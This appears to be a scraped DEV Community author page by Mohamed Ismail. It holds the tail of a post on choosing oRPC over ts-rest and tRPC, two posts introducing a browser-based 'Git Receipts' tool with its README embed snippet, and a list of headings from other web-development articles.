But over time, I started having concerns about its maintenance. Development seemed to slow down, updates became less frequent, and I was looking for better Zod 4 support.

It was still a good library, but I didn't want to start my next project with something I was already uncertain about.

So I started looking for alternatives.

tRPC or oRPC?

The two options that caught my attention were tRPC and oRPC.

tRPC is a solid choice. It's mature, has a great developer experience, and works really well with TypeScript and TanStack Query.

But I wanted something more.

I didn't want to give up OpenAPI. My backend might eventually serve a mobile app, a Python service, or external integrations.

tRPC can support OpenAPI through additional tooling, but I wanted it to be a first-class feature.

That's where oRPC stood out.

What I liked about oRPC

After exploring the official comparison and documentation, a few things caught my attention.

1. RPC + OpenAPI

Define procedures once and expose them through RPC or OpenAPI-compatible HTTP endpoints. No need to maintain two separate API implementations.

2. Typed errors

You can define expected errors and get proper TypeScript support when handling them on the client. Really useful when dealing with complex business logic.

3. Better type support

Types like Date, BigInt, Map, Set, and URL work through its RPC serialization without requiring additional transformers. It also supports File and Blob.

4. Streaming

Built-in support for typed Server-Sent Events and streaming responses.

5. Good integrations

Works with TanStack Query, NestJS, Next.js, OpenTelemetry, and more.

6. Performance

The official benchmarks show some impressive results, including roughly 4x the throughput of tRPC in certain scenarios.

Of course, benchmarks don't represent every real-world application, but they're still interesting.

Why I made the switch

My requirements were simple.

I wanted the smooth developer experience of RPC, proper OpenAPI support, typed errors, and the flexibility to build APIs for different clients.

I also liked that oRPC supports contract-first development, something I appreciated about ts-rest.

oRPC gave me the combination I was looking for.

That doesn't mean it's better for everyone.

tRPC is still excellent for TypeScript-only applications, and ts-rest remains a good option for REST-first, contract-driven APIs.

I wouldn't recommend migrating a working application just because another library has more features.

But for my new project, oRPC made more sense.

Final thoughts

I didn't switch because ts-rest was bad or because oRPC was newer.

I switched because my requirements had changed, and oRPC felt like a better fit.

I'm still exploring how it holds up as my projects grow, but so far, I like the direction.

If you're evaluating TypeScript API libraries, I'd recommend checking out oRPC.

Have you tried oRPC in production? I'd love to hear your experience, especially any limitations you've encountered.

I Built a Receipt Printer for Your GitHub Year 🧾

Mohamed Ismail — Fri, 09 Oct 2026 12:17:46 +0000

Press a button. A tiny printer warms up. Paper slides out, and your entire GitHub year lands in your hands as a receipt.

That's Git Receipts, and you can print yours in about ten seconds.

Print your GitHub year →

No sign-in needed. Enter any public GitHub username: your own, a friend's, or a developer you admire.

This is project #1 in Beyond the Green Squares, a series where I turn GitHub activity into fun things you can try and keep.

How it works

Enter a GitHub username or profile link
Pick a year
Press FEED and watch it print
Save it, share it, or print it on real paper

Why a receipt?

Everyone knows what a receipt looks like: a narrow strip of paper, neat rows, dashed lines, and a bold total at the bottom.

It fits a year of GitHub activity surprisingly well. Your contributions become the total. Active days and streaks become small details you can scan at a glance.

And there's something satisfying about it. You press a button, wait for the machine, and get a little object at the end. I wanted that moment to be part of the experience.

A printer that feels like a printer

I didn't want a box with rounded corners. The machine has an off-white body, a dark top deck, a paper slot, status lights, and a FEED button that clicks into place.

The motion matters just as much. Paper has to emerge from the slot, feed through, and get cut at the end. If it floats, the magic is gone.

If you prefer reduced motion, it skips the animation and shows your finished receipt. Sound is off by default.

The numbers stay honest

The design is playful. The data is not.

No guessing. If GitHub doesn't provide a number, it's left off the receipt instead of being estimated.
Samples are labeled. The demo receipt on the landing page is clearly marked as a sample.
Nothing borrowed. If a lookup fails, you see an unavailable message, never someone else's activity.

One more honest note: a contribution count can't capture everything. Reading, planning, learning, and time away from the keyboard all count as real work. The receipt is a keepsake of reported activity, not a measure of you.

Take it with you

When printing finishes, your receipt opens in a full-size viewer. Scroll through it, then keep it however you like:

PNG to share
PDF to print on paper
SVG and plain text
README embed to show it on your GitHub profile

Hit a milestone and your receipt gets an achievement stamp, pressed onto the paper like the real thing. Every receipt also carries a QR code that leads back to it.

Put it on your GitHub profile

Your receipt can live in your profile README, and it follows light and dark mode automatically. Click it and it opens your receipt on Git Receipts.

Copy the README snippet

<a href="https://git-receipts.vercel.app/?user=YOUR_USERNAME&amp;year=2026&amp;stamp=true">
  <picture>
    <source media="(prefers-color-scheme: dark)" srcset="https://git-receipts.vercel.app/api/receipt.svg?year=2026&amp;stamp=true&amp;user=YOUR_USERNAME&amp;theme=dark">
    <img src="https://git-receipts.vercel.app/api/receipt.svg?year=2026&amp;stamp=true&amp;user=YOUR_USERNAME&amp;theme=light" alt="YOUR_USERNAME's 2026 GitHub contribution receipt">
  </picture>
</a>

Replace YOUR_USERNAME in all three places with your GitHub username, and change the year if you want a different one.

Your turn 👀

Print your GitHub year →

Then tell me what caught your eye: your total, your longest streak, or a month you'd completely forgotten about. Add it to your profile README, post your receipt, and tag me. I'd love to see it.

And if you have a unique idea for turning GitHub activity into something worth keeping, drop it in the comments. The best ones might become the next post in Beyond the Green Squares, and we'll build it together.

What should we build next?

Beyond the Green Squares: Turning GitHub Activity Into Things Worth Keeping

Mohamed Ismail — Fri, 09 Oct 2026 12:15:44 +0000

A series of small, playful projects built from your GitHub activity. Try them on your own profile, keep the results, and help decide what I build next.

You push code for a whole year. Late nights, tiny fixes, big launches, reviews for other people's work.

And GitHub shows all of that as a grid of green squares.

Squares are fine. But I keep wondering what that year would look like if it became something you could hold, share, or stick on a wall.

So I'm starting Beyond the Green Squares.

What this series is

Each post is one small project that turns GitHub activity into something unexpected. The rules are simple:

You can try it yourself. Every project works with a public GitHub username, no sign-in needed.
You can keep the result. Download it, share it, or print it.
The numbers stay honest. If data is missing, I won't estimate it. Samples will always be labeled as samples.
I'll show how it's built. What worked, what broke, and what I'd do differently.

The design will be playful. The data will not be.

Project #1 is live 🧾

The first build is Git Receipts, a tiny thermal printer in your browser. Enter a GitHub username, press FEED, and your year prints out as a receipt, paper-feed animation and all.

Read the full story: I Built a Receipt Printer for Your GitHub Year →

Or skip the reading and print your year →

Now I need you 👀

This series gets better with your ideas.

If you have a unique idea for turning GitHub activity into something you'd actually want to share, drop it in the comments. Weird, beautiful, useless, brilliant, all welcome. The ones I can't stop thinking about might become the next post, with credit to you.

So, what should we build next?

DEV Community: Mohamed Ismail

Your API Errors Shouldn't Be a Guessing Game

The Problem With API Errors

Meet Problem Details

What About Form Validation?

Handling Errors in JavaScript

A Few Things Worth Remembering

Final Thoughts

Why COUNT(*) Is So Slow in PostgreSQL (And How to Fix It)

The Problem: PostgreSQL Can't Just Read a Counter

Why MySQL Can Be Faster

Solution 1: Use an Estimated Count

Solution 2: Maintain Your Own Counter

Solution 3: Don't Count Everything for Pagination

Which Approach Should You Use?

One More Thing: COUNT(*) Isn't Always a Full Table Scan

Final Thoughts

Stop Indexing Boolean Columns in PostgreSQL. Do This Instead.

Why Your Boolean Index Isn't Helping

The Real Problem: Low Selectivity

The Better Solution: Partial Indexes

Does This Always Work?

How to Check Whether PostgreSQL Uses It

One More Thing Developers Often Miss

The Takeaway

Stop Storing JWTs in localStorage. Here's Why.

What's Actually Wrong With localStorage?

A Better Approach: HttpOnly Cookies

But Cookies Aren't Magic

What About JWT Expiration?

Meet JWT Key Rotation

So, Should You Never Use localStorage?

The Takeaway

Your Cache Expires. 10,000 Requests Hit Your Database. There's a Smarter Fix.

The Usual Solution: Distributed Locks

Meet XFetch

The Tiny Formula Behind It

A Simple JavaScript Example

But There's a Catch

When Should You Use It?

Final Thoughts

You Might Not Need Redis for Background Jobs

The problem with background jobs

Meet SKIP LOCKED

Why is this useful?

Is it better than Redis?

Final thoughts

AI Says My Project Will Take 2 Months. Then Builds It in a Week.

The Problem With AI Estimates

Building Fast Doesn't Mean It's Finished

What AI Should Do Instead

Final Thought

Your console.log() Might Be Slowing Down Your App

First, what is the Console API?

Who provides console? JavaScript or the browser?

The problem: Logging inside loops

How much slower can it get?

How can we avoid this?

1. Remove unnecessary logs

2. Create a simple logger

3. Remove console calls during the build

4. Keep important error reporting

A small habit that makes a difference

Never Trust File Uploads: Building a Secure S3 Pipeline

1. Stop sending files through your API server

2. Never trust file extensions or MIME types

Check the magic bytes

3. Scan files before making them available

4. Let background workers handle the heavy work

5. A few security rules worth following

Final thoughts

Lifecycle rules run in the background, so deletion can happen a little after the one-day mark.

Why I Switched from ts-rest to oRPC

tRPC or oRPC?

What I liked about oRPC

Why I made the switch

Final thoughts

I Built a Receipt Printer for Your GitHub Year 🧾

How it works

Why a receipt?

One More Thing: `COUNT(*)` Isn't Always a Full Table Scan

Meet `SKIP LOCKED`

Who provides `console`? JavaScript or the browser?